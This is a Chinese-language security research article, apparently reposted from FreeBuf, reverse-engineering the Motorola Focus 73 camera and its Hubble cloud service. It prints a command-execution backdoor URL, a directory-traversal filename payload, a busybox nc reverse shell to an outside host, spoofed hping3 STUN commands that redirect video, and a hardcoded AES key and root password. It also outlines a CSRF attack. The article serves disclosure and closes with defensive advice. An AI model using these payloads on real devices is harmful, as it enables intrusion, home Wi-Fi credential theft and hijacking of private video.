<p style="text-align:center"><img src="https://simg.open-open.com/show/726dd5291278ee88684983bea8089d59.jpg"></p>    <h2>写在前面</h2>    <p>这年头，谁家不得防贼防盗防小三？云安全摄像头也就变得越来越盛行了。可虽然叫“安全”摄像头，它们本身的安全性或许并不怎么样。这款摩托罗拉Focus 73户外安全摄像头即是如此。</p>    <p>摩托罗拉Focus 73摄像头是一款户外安全摄像头，这款产品实际上是由Binatone制造的。此系列摄像头产品支持通过Hubble服务与云端连接。Hubble服务是建基于Amazon EC2 instance的，有了这项服务，用户就可以远程监控摄像头了，另外也能接收摄像头发出的警告信息。不过Hubble服务是收费的，用户每个月需要掏钱来购买这项服务。</p>    <p>下面这篇逆向工程分析就是要揭示，这款摄像头实际上存在诸多安全问题。在不需要访问本地网络的情况下，就能攻入摄像头，获取摄像头所在家用WiFi网络的密码，拿下摄像头的控制权，甚至还能将视频流重定向到黑客自己搭建的服务器中。</p>    <h2>硬件分析</h2>    <p>从摩托罗拉Focus 73摄像头的拆解来看，其内部采用Nuvoton（新塘）ARM9 SoC（N329x），N79E814AT20 CPU，连接CPU的GPIO接口15针。另外里面还有个微开关，配套应用在进行设置的时候也就能够找到摄像头了。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/b606029db385da6b973eacd61ce68ed0.jpg"></p>    <p>其上的PCB板连接至电动平衡架——该平衡架是可以左右旋转的，不过两侧在90°位置进行阻断，也就是说总共可以翻转180°——其翻转可以通过API进行控制。这些也就是摄像头调整镜头朝向、角度的装置。</p>    <p>网络连接方面，此摄像头可通过802.11无线网络连接，也可以通过以太网连接。镜头上方的LED灯是用于指示系统状态的，可通过预设的命令做控制。摄像头工作时，LED灯常亮，进行视频流传输或者发现镜头前的异常情况并发出警报时会闪烁。</p>    <h2>软件配置</h2>    <p>与摄像头配套的移动应用名为Hubble，可在应用商店中免费下载。这款应用是进行摄像头设置的入口，需要Hubble帐号才能登录使用。此应用也是配置摄像头、通过标准API支持更多IP摄像头加入的唯一“官方”方案。</p>    <p>在应用程序安装过程中，程序会提示用户给摄像头插入网线，或点按摄像头上的“配对”按钮，让摄像头进入host模式，开启开放无线网络（没有密码）。随后应用会扫描到名为“CameraHD-[Mac地址]”的网络，并提示用户进行连接。</p>    <p>这款摄像头还提供一些未经过滤的网络服务，包括RTSP——这是定制的内部消息服务，另外还包含两个内部的web服务（nuvoton和busybox，web server），其中一个web服务实际上还提供了固件升级，虽然这其实是个隐藏功能。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/7647f5b0694dae46552e6d856cfeca92.jpg"></p>    <p>应用程序连接该开放热点时，还会向nuvoton web服务发出请求，通过Linux的iwlist指令进行无线网络的扫描。扫描结果会以XML的形式返回到应用中，用户就可以从列表中选择自己的网络了。</p>    <p>选择相应的无线网络之后，输入WiFi私钥，随后会以基本HTTP身份认证的方式，在开放网络中进行未加密的广播（形如用户名“camera”，密码“000000”）。这里的HTTP认证看起来已经比较古老了，而且早就已经不用了——这种情况在此类设备上其实比较普遍。像/routersetup.html这种页面，都算是比较原始的页面。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/5d252e296f015b0bff271a2ed874c52a.jpg"></p>    <p>首先要对应用通讯做设置，通过Hubble云服务与摄像头做连接。整个过程是通过一个TLS协议下的REST API进行的，该REST API是为命令、警报和实时视频的视频流服务器连接准备的。这里的实时视频还是有些小复杂的：移动应用给Hubble服务器传数据，服务器对视频流会话进行初始化。为了将命令发送到摄像头，Hubble服务器需要在互联网上对摄像头进行定位，还需要通过摄像头所在网络的防火墙，创建入站连接。</p>    <p>上面这段话简单说，就是应用程序与服务器之间的配置完成后，应用程序以及服务器建立视频通信。应用程序向服务器提交建立连接的指令，最终服务器通过防火墙连接应用程序。通过NAT路由器进行入站连接的传统方法应该是借由STUN协议进行的。</p>    <p>STUN是一种网络协议，它允许位于NAT（或多重NAT）后的客户端找出自己的公网地址，同时可以在两个同时处于NAT 路由器之后的主机之间建立UDP通信。</p>    <p>摄像头向Hubble服务器发送常规的heartbeat信息，让服务器知道其当前的外部IP地址以及监听的UDP 端口，同时也是让防火墙允许这样的临时连接存在(时长120s) 。</p>    <p>应用程序以及服务器之间的STUN协议的确是比较实用的。摄像头通过常规STUN心跳信息，维持NAT路由器的开放UDP端口。这里的心跳信息也是从Hubble接收ad-hoc指令的方式。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/a666d0de76230da1d1fd3bef9ed06642.jpg"></p>    <p>比如“start streaming video”开始进行视频流，就是个典型的命令，该命令会以AES加密的方式发送到STUN客户端，客户端再用本地密钥对此进行解密，再借由cURL工具转往本地Web服务。</p>    <p>本地Web服务器随后会运行本地脚本，在进行视频流时生成随机URL——这个URL是针对远程视频服务器IP地址硬编码生成的。该URL链接再返回到cURL客户端，然后再通过加密的STUN信息返回到Hubble和最终的应用。应用接收到这个公共的URL地址之后，就能连接视频服务器了，也能接收视频数据UDP流。该编码过后的URL地址也可以直接用其它客户端访问。</p>    <h2>固件</h2>    <p>厂商没有对所谓的固件升级做公开宣传，不过跟很多IoT设备一样，的确有升级固件的可行方案，虽然是比较隐藏的——通过私有URL地址就能进行固件升级。私有URL地址哪儿来呢？其实也不算难，应用里面的字符串有包含一部分URL地址。然后靠产品型号和固件版本来猜测URL的剩余部分，也就搞定了。</p>    <p>实际上，我们还发现了一个名为“skyeye”的Linux压缩文件系统，这是由香港摄像头企业Civision写的。以这种连猜带蒙的方式，我们还能获取更多的固件版本，包括历史版本的固件和开发版固件。</p>    <p>Civision固件包含了/bin、/etc、/lib文件夹，不过这个固件并非完整的Linux系统。固件本身是挂在/mnt/skyeye载点的。如busybox等核心二进制文件并未包含在内，这些部分是隶属于Nuvoton系统的——Nuvoton没有升级机制，所以里面有一堆很老的二进制文件，有些甚至有10年历史了。</p>    <p>从固件中不难观察到，脚本和配置文件中有其他型号IP摄像头的痕迹，比如Focus摄像头家族产品的switch语句等。这表明，该固件并非为这款摄像头产品特别设计。这么做应该是为了节约开发成本。厂商只需要针对这个固件进行特定型号产品的配置就行，在文本文件中定义即可。</p>    <p>web服务部分位于/mnt/skyeye/mlswwwn/，采用的haserl CGI脚本直接将HTTP表单参数传往shell环境，用以实现诸如获取日志、升级固件等功能。这个地方是可被脚本利用的。</p>    <h2>恶意固件升级</h2>    <p>前面我们有提到，系统中实际上存在2个web服务。这2个web服务位于同一个文件夹下（/mnt/skyeye/mslwwwn/），两者的端口号分别是80和8080。后者是个busybox httpd——就像其他一般的httpd一样，限制访问如可执行文件或/cgi-bin/下的脚本等特定文件。</p>    <p>但问题在于，端口为80的Nuvoton web服务就没有这方面的限制。所以在8080端口没法看的东西，在80端口就能一览无余，包括ELF二进制文件——这些文件提供了非常有价值的信息，包括架构（ARM32 LE）和可执行环境。</p>    <p>这些文件中，其中一个很有趣，文件名为harserlupgrade.cgi。这个文件实际上是固件升级进程需要用到的。由于固件本身并没有加密，也没有签名之类的，我们也就能够对其进行修改，开个独立的后门：<% $FORM_run %>。</p>    <p>这样一来，就能通过http://[IP]:8080/fwupgrade.html这个地址，来上传修改过的固件了，方便我们执行各种命令，比如像下面这样：</p>    <pre>  http://(IP):8080/cgi-bin/script.cgi?run=cat /etc/passwd</pre>    <h2>目录穿越与命令注入</h2>    <p>如上所述，我们发现了haserlupgrade CGI脚本的漏洞，典型的目录穿越漏洞。脚本（root运行）获取压缩的固件镜像，并将之移至指定位置，在webroot之外。悲剧的是，这个过程不会对表单中的文件名进行验证，所以“new_firmware.tgz”，还有“../../../mnt/skyeye/etc/cron/root”这样都是可以的。</p>    <p>我们在测试环境下构建相同的脚本，确认由于haserl不会对输入做验证，所以目录穿越漏洞的确存在。不过问题是无论将固件放到文件系统的哪个位置，都会被移除。顺带一提，我们如果覆盖核心文件（比如/bin/busybox），可以让设备变砖——考虑到这是个安全摄像头，做到这一点还是挺有意义的…</p>    <p>其实在固件升级完成后，自动删除固件文件是很正常的事情。我们继续检查其它脚本，发现了针对“fwupgrade”二进制文件（16行）的中断调用（加载到IDA反汇编工具中发现的）。这个二进制文件收到SIGUSR1中断之后，就会从/mnt/cache/new_fwupgrade文件读取128字节，然后将之作为固件文件名。随后再通过shell script来进行固件升级，完成之后就会将固件文件删除。</p>    <p>这里，固件的文件名是fwupgrade读取128字节而来的——128个字节也就意味着固件的文件名可以很长，并且可以中途打断这个进程，这样一来上传的文件就不会被删除了——因为中断的时候，获取的文件名还不完整。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/a121150d5cda575a3ecf27580978391e.jpg"></p>    <p>我们选定的文件名就这么来回折腾，直到超出128字节。系统最终将我们的文件放到了“cron”文件夹，这个位置是每分钟都会进行读取和执行工作的。这些重复的文件夹名称可以被随机字符替代，直到超过128字节。</p>    <pre>  ../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/mlswwwn/../../../mnt/skyeye/etc/cron/root</pre>    <p>基于此，利用busybox每分钟进行一次反向shell：</p>    <pre>  /bin/busybox nc 10.45.3.100 1664 -e /bin/sh</pre>    <p>相关cron的这个执行周期需要60s，在等待过程中，我们看到了下面的页面。这是个展示进度的页面，里面有我们选定的文件名，还有文件尺寸，看起来还是觉得挺搞笑的。由于这台设备也没有防火墙，所以我们其实也可以利用任意端口号。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/fa765b3a86aca8af4fb8acd92f2951d9.jpg"></p>    <p>已经获取到了摄像头的root访问权限，其实要破解root密码已经不重要了，但利用工具John还是可以搞定，其密码为“123456”；可知的信息还包括类似FTP这样权限更低的用户账户，不过其实也已经没什么意义了。</p>    <p>再往深处挖掘， <strong>我们还在/tmp/wpa.conf文件中发现了好东西：明文的WiFi密码（没错，家庭网络的WiFi密码）</strong> 。另外我们还发现了Civision安全测试网络的出厂无线凭证，就是在重置出厂状态之后会应用的网络。</p>    <p>此外，这款摄像头产品还运行了一些有趣的GPLv2开源软件。Nuvoton web服务针对此SoC的声明提到：“开源代码环境会让产品开发更具弹性。”Nuvoton web服务的表现其实很像MJPG流，只不过有用于远程控制的额外功能。从字符串来看，STUN客户端用的应该是PJNATH库，不过应该也有功能方面的扩展（STUN信息内的C&C）。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/b3d4d2497a0795fb7c57ffe194de5a01.jpg"></p>    <p>在摄像头上运行“ps”命令，可以看到大量msloader线程，msloader是掌控摄像头核心功能、警报、指令、控制的。msloader比较复杂，所以可能导致内存泄露的问题，这从cron文件夹那边的动作会致使msloader重启可以看的出来，而且重启的时间比较规律，是在早晨。我们当然不会公布重启的具体时间，要利用这个问题来发起攻击，应该是不需要什么技术就可以做到的。</p>    <p><strong>设备日志内的细节信息才真实让人倍感悲剧，比如远程控制STUN信息的AES密钥，和视频剪辑存储的FTP凭证。</strong> 其中列出的错误信息也印证了我们的想法，即用到了开源的PJNATH库。</p>    <p>更悲剧的是，日志文件居然可以从web界面下载，不过经过了加密（/bin/cryto）。加密采用的是Linux的crypto API，硬编码的AES密钥：Cvision123459876。也就是说，通过:8080/cgi-bin/logdownload.cgi，到你家的陌生人都可以获取到日志文件和远程命令密钥。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/77769d30cd52f543d61c7f251bf3d9e1.jpg"></p>    <h2>远程STUN攻击</h2>    <p>如前文所述，这颗摄像头使用STUN协议与Hubble服务器保持通讯。分析STUN包，会发现16字节的IV（初始化向量）和一段AES加密数据。我们先前就已经有了存储在设备上的AES密钥，还有来自包的IV，也就能够比较轻易地解密命令数据。</p>    <p>STUN信息中的数据，用于从“云端”获取加密命令，比如说“start recording（开始录制）”，“change video server（改变视频服务器）”，“move left（左移）”，“reboot（重启）”等。既然能够解密这样的信息了，那么各种针对摄像头的控制也就可行了（用原有的AES密钥篡改包，重新加密构建包）。在摄像头这一边，加密数据本质上只不过是web命令（借由STUN库解析，用cURL传递到HTTP服务器，再生效）。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/bcd25620f54d99d287a6a4e58608f815.jpg"></p>    <p>在对这套机制的深入研究中，我们还发现要重新执行以前的STUN信息也是完全可以的，因为加密命令此处没有超时限制。显然，从上面的分析可以看出，AES密钥就是阻止远程攻击的主要安全机制了。</p>    <p>设备中有个名为camregister的二进制文件，其中就有获取设备AES密钥的常规方式。camregister处理摄像头的初始配置，连接Hubble服务器采用SSL连接。它会携Mac地址、固件版本、UDID和其他细节信息，发出HTTP POST请求。随后从Hubble接收AES密钥，保存到设备中。密钥再通过GET API请求进行核查，注册过程就结束了。这个过程中，AES密钥是在Hubble服务器上生成的，要替代这个过程是不大可能的。</p>    <p>既然遇到阻碍了，我们尝试再度对STUN信息进行追踪。为了保证STUN会话活跃，NAT路由器WAN接口的UDP端口需要保证开启。针对STUN库进一步分析，我们发现，通过cURL传往内部web服务器的加密数据是没有经过核查的。如果有更多时间，未来我们还会考虑分析远程访问的可行性（因为加密STUN信息缺少输入验证的过程）。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/5a4b668de606650cb19fe6df55afa5ae.jpg"></p>    <h2>盲目远程攻击</h2>    <p>如果攻击者已经拿到了AES密钥（通过本地的logdownload.cgi，或者是通过Hubble GET API密钥请求），就完全可以控制这款摄像头了。</p>    <p>为了演示这一点，我们写了个简单的Python脚本，这个脚本可以生成有效的加密命令。我们再配合hping3，从NAT路由器外部可以欺骗Hubble STUN服务器。当然绝大部分ISP肯定不会让你这么做，所以我们用一款很流行的NAT路由器的WAN以太网接口做测试。摄像头本身设置为伪装内部IP段（192.168.0.0/24）的无线客户端。所有针对STUN命令的回应，都会回到Hubble，如果没法拦截的话，就需要发个引出回应的指令，进行所谓的盲目攻击。我们还真找到了这样一条命令。</p>    <p>API命令“set_wowza_server&value=(ip）”以及“start_rtmp&value=1”，可用于将RTMP视频流重定向到你自己的服务器上。我们采用开源的视频服务Red5。如果盲目攻击成功，就能引导TCP视频流至服务器，端口1935。</p>    <pre>  python stunning.py “set_wowza_server&value=10.45.3.100” > stunpacket </pre>    <pre>  hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1 </pre>    <p>在构建这份脚本的过程中，我们还发现STUN客户端一点都不挑剔，它接受无效的包，或者包含Unix特殊字符、非命令URL的包，所以你可以加密发送各种HTTP GET请求，它照单全收。</p>    <h2>CSRF攻击</h2>    <p style="text-align:center"><img src="https://simg.open-open.com/show/d0ab36a273bfed0a949268b2c4a4dfc9.jpg"></p>    <p>如果没有拿到AES密钥的话，其实还可以进行 CSRF 攻击，通过JavaScript获取控制权。我们特别做了个JavaScript脚本来自动扫描摄像头信息，借由xmlhttprequest执行上面提到的cron动作，然后获取root权限，执行反向shell命令，并上传我们自己的resolv.conf DNS文件，控制DNS，拦截所有的警报。由于浏览器的跨域资源分享限制，这么做原本是不行的，不过跨域资源分享限制并不会阻止我们向其他域发出数据（HTTP POST）。浏览器错误控制台会显示安全信息，向你报告阻止了部分内容，实际上目的也就已经达到了。</p>    <p>如果有人查看该页面，情况也就可以想见了。</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/46093051e9ac2483b38913d3eceef27a.jpg"></p>    <p>一旦我们掌握了对摄像头的控制，就可以修改DNS配置文件（/etc/resolv.conf），查看云端的upload1.hubble.in，再转到我们自己的web服务器，这样就可以接收JPEG警报图像，和FLV视频内容了，这原本是Hubble的付费用户才有的待遇。媒体是通过HTTP POST未加密的形式，发往/v1/uploads/snap.json或者/v1/uploads/clip.json的，我们就做了个PHP脚本来处理这些媒体文件的上传和存储，等我们闲的时候还可以仔细看看……</p>    <p style="text-align:center"><img src="https://simg.open-open.com/show/4b8bf3a6bda196ec31832aace5b84146.jpg"></p>    <h2>总结</h2>    <p>设计智能设备的，我们还是建议首先要建立起全面的安全准则，比如说输入验证、边界检查、访问控制与认证等。加密通讯的确是有意义的，但如果密钥本身就不安全，那么一切都是白费的。密钥这种东西就是应该得到严密防护的，而不是放在日志里面，或者由一些不受信任的机构设置。要在某个界面进行加密，那就不应该通过未加密的界面解密或传递其中的敏感信息，否则也就没有意义了。</p>    <p>一些最基本的安全原则还是要遵守，比如最小权限、深度防御。固件也需要签名或者加密，抵御恶意的固件上传或篡改。如果不这么做，不仅给用户带来安全风险，对企业的业务也很不好。比如我们上面说的这款摄像头，原本打算每个月收服务费，这种赚钱方式也就被打破了。另外，开源的固件有时候的确是不怎么靠谱的。</p>    <p> </p>    <p>来自： <a href="/misc/goto?guid=4959674437753087832" rel="nofollow">http://www.freebuf.com/vuls/106511.html</a></p>    <p> </p>